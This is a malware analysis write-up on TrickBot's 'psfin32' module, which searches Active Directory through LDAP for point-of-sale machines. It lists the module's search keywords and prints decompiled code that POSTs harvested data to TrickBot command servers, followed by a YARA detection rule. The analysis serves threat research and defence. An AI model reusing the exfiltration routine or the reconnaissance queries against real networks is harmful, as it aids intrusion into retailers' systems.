

Let's Learn: Introducing Latest TrickBot Point-of-Sale Finder Module

 vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html

Goal: Analyze the latest TrickBot point-of-sale finder “psfin32” reconnaissance module hunting for point of sale related services, software, and machines in Lightweight Directory Access Protocol (LDAP)

Source:

Unpacked TrickBot psfin32 Module 32-Bit (x86) (MD5:
4fce2da754c9a1ac06ad11a46d215d23)


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I. Background

This is not the first time the TrickBot development group leverages LDAP; they also developed a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier. The group behind the TrickBot malware development remains to be one of the most resourceful in the e-crime ecosystem continuously releasing various modules (for example. password grabber “pwgrab32Dll” on October 19, 2018). The module itself does not steal any point-of-sale data but rather used to profile corporate machines of interest with possible point-of-sale devices. This module arrives just in time for the holiday shopping season highlighting the group interest in exploring possible point-of-sale breaches. The question is: What point-of-sale malware would the group behind TrickBot deploy on identified machines of interest, and/or would they auction this access to another group? This question is yet to be answered.

II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86)



This tiny "psfin32" module DLL with the size of 18.13 KB (18568 bytes), compiled on Monday, November 5, 09:00:47 2018 UTC, is originally called "dll[.].dll." The module itself consists of only 24 functions.

The decoded Trickbot "pfin32Dll" module contains the usual Trickbot export functions:

- Control
- FreeBuffer
- Release
- Start

III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis

Line	Address	Name	Address2	Name2	Ratio	BBlocks1	BBlocks2	Description
00004	100010a0	Istrien	6c043e90	sub_6CD41690	0.400	13	8	Strongly connected components
00002	10001000	Processor	6c041420	sub_6CD41420	0.380	6	6	Strongly connected components
00003	10001040	movrImport	6c043200	sub_6CD43200	0.340	8	10	Strongly connected components
00010	10003620	Sleep_0	6c0426d0	sub_6CD426d0	0.340	7	3	Strongly connected components
00013	10001e00	LDAPSearchEntry2	6c043890	sub_6CD43f60	0.320	36	51	Loop count
00008	10001580	ProcessorFunction	6c044450	sub_6CD44450	0.300	20	21	Strongly connected components
00009	10003570	WideCharToMultiByte	6c047470	sub_6CD47470	0.300	10	8	Strongly connected components
00007	100013a0	LogFunc	6c045930	sub_6CD45930	0.290	23	26	Strongly connected components
00014	10002180	EntryMain	6c0445e0	sub_6CD445e0	0.280	36	60	Loop count
00005	10001160	HandlerSender	6c043a90	sub_6CD43a30	0.260	25	14	Strongly connected components
00012	10001c40	LDAPSearchEntry3	6c043b20	sub_6CD43b20	0.260	36	81	Loop count
00016	10003430	PostFunction	6c042c90	sub_6CD42c00	0.260	28	37	Loop count
00006	10001370	GetProcessHeap_0	6c0414d0	sub_6CD414d0	0.240	8	5	Strongly connected components
00001	100019a0	LDAPSearchEntry5	6c042ab0	sub_6CD42ab0	0.200	36	16	Strongly connected components small-primes-product
00000	10001700	LDAPSearchEntry6	6c0429f0	sub_6CD429f0	0.190	36	11	Strongly connected components small-primes-product
00011	10003970	ThreadProcessor	6c041671	sub_6CD41671	0.130	6	26	Strongly connected components
00015	10002420	LDAPSearchEntry1	6c041040	sub_6CD41040	0.110	32	34	Loop count

The latest module consists visually a lot of similarity to their previous DomainGrabber module. During pseudo source-code level analysis, it is revealed that the code contains 6 partial function matches (including perfect match and strongly connected components), 17 unreliable function matches (including same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count). By and large, the pseudo source-code analysis reveals the new module heavily borrows from the earlier DomainGrabber code and was likely coded by the same developer(s).

IV. TrickBot Point-of-Sale Finder Module LDAP Analysis

This Trickbot module was programmed leveraging Active Directory Service Interfaces (ADSI) APIs to search LDAP for objects possibly linked to point of sale related services, software, and machines. To learn more about specific access **ADsOpenObject** and **IADsContainer** interface, please refer to the [DomainGrabber](#) post.

LDAP provider is used to access Active Directory Domain Services. The LDAP binding string takes the following form of "GC://" binding to the root of the namespace. "GC:" uses the LDAP provider to bind to the Global Catalog service to execute queries.

The module queries for DOMAIN Global Catalog the following accesses:

COMPUTERS
USERS
GROUPS
SITES
OUS

The point-of-sale key terms of interest are as follows:

POS
REG
CASH
LANE
STORE
RETAIL
BOH
ALOHA
MICROS
TERM

V. TrickBot Point-of-Sale Finder Module POST Command

Once the information is harvested, the "Log" file with the information would be posted to the TrickBot to "Dpost" servers via "/%s/%s/90" command.

```

46 --u8;
47 }
48 while ( u8 );
49 vsprintf(&szObjectName, L"%s/%s/90", &unk_10006348, &unk_10006140);
50 vsprintf(&szHeaders, L"Content-Type: multipart/Form-data; boundary=%s", L"Arasfjasu7");
51 v10 = InternetOpenW(L"test", 0, 0, 0, 0);
52 hInternet = v10;
53 if ( !v10
54 || (v11 = InternetConnectW(v10, lpszServerName, nServerPort, 0, 0, 3u, 0, 1u), (v25 = v11) == 0)
55 || (v6 = HttpOpenRequestW(v11, L"POST", &szObjectName, 0, 0, 0, 1u)) == 0 )
56 {
57     v12 = 0;
58     goto LABEL_18;
59 }
60 v12 = HttpSendRequestW(v6, &szHeaders, 0xFFFFFFFF, lpOptional, w4);
61 if ( !v12 )
62 {
63 LABEL_18:
64     v15 = (void (__stdcall *)(void *, const char *, const char *, _DWORD, _DWORD, const char *, int))dword_10006024;
65     if ( !dword_10006024 )
66         goto LABEL_21;
67     v19 = dword_10006020;
68     v18 = "SendReport";
69     v17 = "Dpost servers unavailable";
70     goto LABEL_20;
71 }
72 while ( 1 )
73 {
74     dwNumberOfBytesRead = 0;
75     v13 = &Buffer;
76     v14 = 128;
77     do
78     {
79         *v13++ = 0;
80         --v14;
81     }
82     while ( v14 );
83     if ( !InternetReadFile(v6, &Buffer, 0x7Fu, &dwNumberOfBytesRead) || !dwNumberOfBytesRead )
84         break;
85     if ( dword_10006024 )
86         dword_10006024(&unk_10006140, "Log", &Buffer, 0, 0, "SendReport", dword_10006020);
87 }
88 v15 = (void (__stdcall *)(void *, const char *, const char *, _DWORD, _DWORD, const char *, int))dword_10006024;
89 if ( dword_10006024 )
90 {
91     v19 = dword_10006020;
92     v18 = "SendReport";
93     v17 = "Report successfully sent";
94 LABEL_20:

```

2018-11-06: TrickBot Point-of-Sale Finder
Module -> POST "Log" Request

Part of the export "Control" function, the module forms and communicates to the next-layer network via the module network path ending in .../<GROUP ID>/<CLIENT ID>/90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:

- A. Content-Disposition: form-data; name="proclist"
- B. Content-Disposition: form-data; name="sysinfo"
- C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value "Arasfjasu7" appears to be a marker/separator for the LDAP query collection upload to split the harvested information.

IV. Yara Signature

```

import "pe"

rule crime_win32_trickbot_psfin32_dll {
  meta:
    author = "@VK_Intel"
    reference = "Detects TrickBot Point-of-Sale Finder Module"
    date = "2018-11-07"
    hash1 = "f82d0b87a38792e4572b15fab574c7bf95491bf7c073124530f05cc704c1ee96"
  strings:
    $s0 = "(&(objectCategory=computer)
(userAccountControl:1.2.840.113556.1.4.803:=8192))" fullword wide
    $s1 = "Dpost servers unavailable" fullword ascii
    $s2 = "USERS:" fullword wide
    $s3 = "*POS*" fullword wide
    $s4 = "/%s/%s/90" fullword wide
    $s5 = "DOMAIN GC" fullword wide
    $s6 = "*MICROS*" fullword wide
    $s7 = "(&(objectCategory=person)(sAMAccountName=%s))" fullword wide

    $ldap_gc_pos_queryportion = { 85 f6 0f ?? ?? ?? ?? ?? 8b ?? ?? 8d ?? ?? ?? ?? ?? 6a
04 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ??
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10 57 e8 ?? ?? ?? ?? 68 a0 45 00 10 57 e8 ?? ?? ?? ?? 68 24 46 00 10 57 e8 ?? ?? ??
?? ba 40 46 00 10 b9 e0 44 00 10 e8 ?? ?? ?? ?? 50 68 4c 46 00 10 57 e8 ?? ?? ?? ??}

  condition:
    ( uint16(0) == 0x5a4d and
      filesize < 50KB and
      pe.imphash() == "13c48c2a1eaa564e28ee00ed7cd0fc0f" and pe.exports("Control")
and pe.exports("Release") and
      ( all of them )
    ) or ( $ldap_gc_pos_queryportion and 5 of ($s*) )
}

```